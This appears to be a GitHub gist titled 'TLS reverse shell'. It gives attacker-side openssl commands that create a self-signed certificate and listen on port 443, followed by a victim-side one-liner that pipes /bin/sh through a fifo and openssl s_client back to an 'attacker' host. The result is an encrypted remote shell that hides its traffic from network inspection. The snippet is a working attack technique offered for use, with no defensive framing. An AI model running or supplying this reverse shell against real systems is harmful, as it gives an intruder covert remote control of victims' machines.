Last active
April 9, 2024 09:46
-
-
Save gteissier/e6545ab23865193338fc5b9d4767f887 to your computer and use it in GitHub Desktop.
TLS reverse shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# attacker side: create auto-signed certificate and setup a listener | |
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes | |
openssl s_server -quiet -key key.pem -cert cert.pem -port 443 | |
# victim side: connect back to attacker using TLS | |
mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s_client -quiet -connect attacker:443 > fifo; rm fifo |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment